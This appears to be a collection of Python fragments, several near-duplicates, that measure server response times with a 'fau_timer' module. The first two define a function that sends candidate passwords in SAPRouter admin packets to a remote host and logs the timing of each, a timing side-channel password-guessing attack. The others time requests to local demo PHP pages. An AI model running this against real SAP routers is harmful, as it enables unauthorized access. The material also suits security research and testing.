def try_password(options, password, output=None, k=0): p = SAPRouter(type=SAPRouter.SAPROUTER_ADMIN, version=options.router_version) p.adm_command = 2 p.adm_password = password p = str(SAPNI() / p) import fau_timer fau_timer.init() fau_timer.send_request(options.remote_host, options.remote_port, p, len(p)) fau_timer.calculate_time() cpuSpeed = fau_timer.get_speed() cpuTicks = fau_timer.get_cpu_ticks() time = fau_timer.get_time() if options.verbose: print("Request time: CPU Speed: %s Hz CPU Ticks: %s Time: %s nanosec" % (cpuSpeed, cpuTicks, time)) # Write the time to the output file if output: output.write("%i,%s,%s\n" % (k, password, time)) return time
def try_password(options, password, output=None, k=0): p = SAPRouter(type=SAPRouter.SAPROUTER_ADMIN, version=options.router_version) p.adm_command = 2 p.adm_password = password p = str(SAPNI() / p) fau_timer.init() fau_timer.send_request(options.remote_host, options.remote_port, p, len(p)) fau_timer.calculate_time() cpu_peed = fau_timer.get_speed() cpu_ticks = fau_timer.get_cpu_ticks() time = fau_timer.get_time() if options.verbose: print("Request time: CPU Speed: %s Hz CPU Ticks: %s Time: %s nanosec" % (cpu_peed, cpu_ticks, time)) # Write the time to the output file if output: output.write("%i,%s,%s\n" % (k, password, time)) return time
import fau_timer # The request we send to the server host = "localhost" request_a = "GET /example2/index.php?q=0 HTTP/1.1\r\nHost: " + host + "\r\n\r\n" request_b = "GET /example2/index.php?q=1 HTTP/1.1\r\nHost: " + host + "\r\n\r\n" # Warmup to fill caches etc... print "Warmup: send 10 requests\r" for i in range(10): fau_timer.init() fau_timer.send_request(host, 80, request_a) times = 100 # number of request send to the server # Open file for output f = open('output.csv', 'w') # Do the request "times" times for i in range(times): # initialize fau_timer fau_timer.init() # Send the request and measure the response time if i%2 == 0: fau_timer.send_request(host, 80, request_a) else: fau_timer.send_request(host, 80, request_b) # Now get the ticks and the time from fau_timer fau_timer.calculate_time()
import fau_timer # The request we send to the server host = "localhost" request_a = "GET /example1/index.php?q=Apache HTTP/1.1\r\nHost: " + host + "\r\n\r\n" request_b = "GET /example1/index.php?q=ADDENDUM HTTP/1.1\r\nHost: " + host + "\r\n\r\n" # Warmup to fill caches etc... print "Warmup: send 10 requests\r" for i in range(10): fau_timer.init() fau_timer.send_request(host, 80, request_a) times = 100 # number of request send to the server # Open file for output f = open('output.csv', 'w') # Do the request "times" times for i in range(times): # initialize fau_timer fau_timer.init() # Send the request and measure the response time if i % 2 == 0: fau_timer.send_request(host, 80, request_a) else: fau_timer.send_request(host, 80, request_b) # Now get the ticks and the time from fau_timer fau_timer.calculate_time()
import fau_timer # The request we send to the server host = "localhost" port = 31337 request_a = "GET /timing/index.php?q=Apache HTTP/1.1\r\nHost: " + host + "\r\n\r\n" request_b = "GET /timing/index.php?q=ADDENDUM HTTP/1.1\r\nHost: " + host + "\r\n\r\n" # Warmup to fill caches etc... print "Warmup: send 10 requests\r" for i in range(10): fau_timer.init() fau_timer.send_request(host, port, request_a, len(request_a)) times = 100 # number of request send to the server # Open file for output f = open('output.csv', 'w') # Do the request "times" times for i in range(times): # initialize fau_timer fau_timer.init() # Send the request and measure the response time if i%2 == 0: fau_timer.send_request(host, 80, request_a, len(request_a)) else: fau_timer.send_request(host, 80, request_b, len(request_b)) # Now get the ticks and the time from fau_timer